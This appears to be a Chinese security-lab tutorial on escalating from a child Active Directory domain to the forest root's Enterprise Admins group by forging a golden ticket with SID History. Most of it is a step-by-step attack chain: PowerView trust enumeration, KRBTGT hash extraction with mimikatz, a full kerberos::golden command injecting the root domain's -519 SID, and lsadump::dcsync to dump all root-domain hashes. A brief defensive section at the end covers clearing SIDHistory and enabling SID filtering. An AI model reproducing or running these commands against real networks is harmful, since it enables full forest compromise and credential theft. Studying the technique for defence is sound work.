子域到父域的横向移动(Sid History)

robots

 

作者:冬青@深蓝实验室

0x00 前言

本文接上篇文章探究子域如何横向移动到父域的Enterprise Admin组,并给出防御方法。

 

0x01 Enterprise Admins组

在父子域中,最重要的莫过于Enterprise Admins组了,并且该组只存在于林根域中,其成员有权管理林内的所有域,这是因为在添加子域后,Enterprise Admins组会自动添加到林中每个域中的Administrators组成员中。但是该组在其他域树中是不存在的,所以在子域中是看不到有Enterprise Admins组。本文也是基于Enterprise Admins组来提权。

 

0x02 跨域访问流程

用户在登录某台客户机的时候,系统必须验证用户的身份,除了账号密码之外,还会为用户建立一个access token(访问令牌),其中包含用户账户的SID、用户所隶属的所有组的SID等数据。当用户取得access token后,如果他要访问计算机内的资源时,便会出示access token,而系统会根据access token内的SID数据来决定用户拥有何种权限。 
同理当用户连接网络上其他计算机时,这台计算机也会为该用户建立一个access token,当用户需要访问资源的时候,便会出示access token,这台计算机便会根据出示的access token的SID数据,来决定用户拥有何种的访问权限

 

0X03 SID History

根据微软的解释,SID History 是一个支持迁移方案的属性,每个用户帐户都有一个关联的安全标识符 (SID),用于跟踪安全主体和帐户在连接到资源时的访问权限。SID 历史记录允许将另一个帐户的访问有效地克隆到另一个帐户,并且对于确保用户在从一个域移动(迁移)到另一个域时保留访问权限非常有用。
而一个账户可以在SID-History Active Directory 属性中保存额外的 SID ,从而允许域之间进行可相互操作的帐户迁移(例如,SID-History 中的所有值都包含在访问令牌中)。
为了达到SID History攻击的目的,我们的将使用域管理员权限,将获取到的有权限的SID值插入到SID历史记录中,以实现模拟任意用户/组(例如Enterprise Admins)的权限,达到跨域提权目的。

 

0x04 枚举域信任

1、用全局编录的方式进行域信任查看
Get-DomainTrust -SearchBase "GC://$($ENV:USERDNSDOMAIN)"

2、使用powershell展现一个域信任关系
Get-ADTrust -Filter *

3、使用windows自带命令查看
nltest /domain_trusts

从上面的命令可以看出来,父域和子域是存在双向的信任关系

 

0x04 环境准备

本地环境使用到的是windows server2016
主域:dpl.com
子域:ziyu.dpl.com
假设已经拿到子域域控的权限,接下来我要拿根域的权限

 

0x05 从子域到父域的EA组提权利用(Sid History)

Sid History攻击需要:
1、域名称(GET-ADDomain)
2、域的SID值(GET-ADDomainSID)
3、域的KRBTGT账户的hash(mimitakz)
4、伪造用户名(administrator)
5、根域EA组的ObjectID(Convert-NameToSid)

一、利用powerview+mimikatz完成攻击利用

Ⅰ、使用Sid History完成对父域的提权

①获取子域名称
Get-Domain或ipconfig /all

②获取子域的SID值
Get-DomainSID

③获取子域KRBTGT的hash
sekurlsa::krbtgt

④获取根域EA组的ObjectID
Convert-NameToSid dpl\krbtgt

Ⅱ、SID介绍

SID用于唯一标识安全主体或安全组,以S-1-5-21-1315137663-3706837544-1429009142-502为例
表示字符串为SID(S)
修订级别(1)
标识符颁发机构 (5,NT Authority)
域标识符(21-1315137663-3706837544-1429009142)
相对标识符RID(krbtgt 502)
常见的SID:Domain Admins(S-1-5-domain-512)、Domain Users(S-1-5-domain-513)、Administrator(S-1-5-domain-500)、Enterprise Admins(S-1-5-root domain-519)、Domain Admins(S-1-5-domain-515)

而完成Sid History攻击需要修改其RID,获取到krbtgt的SID后,将502修改为519,也就是Enterprise Admins组
格式:mimikatz kerberos::golden /user:administrator /domain:<current FQDN> /sid:<current SID> /krbtgt:<KRBTGT_HASH> /sids:<root domain SID>-519 /ptt
/user – 需要模拟的用户名,本例中为administrator
/domain – 完全限定域名(FQDN)
/sid – 域的 SID
/krbtgt – krbtgt的ntlm密码hash
/sids – AD 林中帐户/组的 SID,能获取高权限的ticket,本例中为Enterprise Admins组
/ptt – 将伪造的票据注入内存以供使用

Ⅲ、使用mimikatz完成攻击

访问根域是拒绝

命令:mimikatz # kerberos::golden /user:administrator /domain:ziyu.dpl.com /sid:S-1-5-21-2455727910-2290990957-1796281965 /krbtgt:a6dfcc6757f07f2338871c1437661771 /sids:S-1-5-21-551729718-3557281277-2606199327-519 /ptt

用主机名访问,不然会出错,访问父域成功

使用mimikatz导出根域的hash
lsadump::dcsync /domain:dpl.com /all /csv

 

0x06 防御方法

1、合法帐户迁移完成后清除 SID-History 属性
a.标识帐户的 SIDHistory 属性中的 SID。
Get-ADUser -Identity <account> -Properties SidHistory | Select-Object -ExpandProperty SIDHistory
b.使用前面标识的 SID 删除 SIDHistory 属性
Set-ADUser -Identity <account> -Remove @{SIDHistory='S-1-5-21-...'}
2、使用 netdom 工具(在域控制器上)在林信任上禁用 SIDHistory
netdom trust /domain: /EnableSIDHistory:no
3、使用 netdom 工具(在域控制器上)将 SID 过滤器隔离应用于外部信任
netdom trust /domain: /quarantine:yes

(完)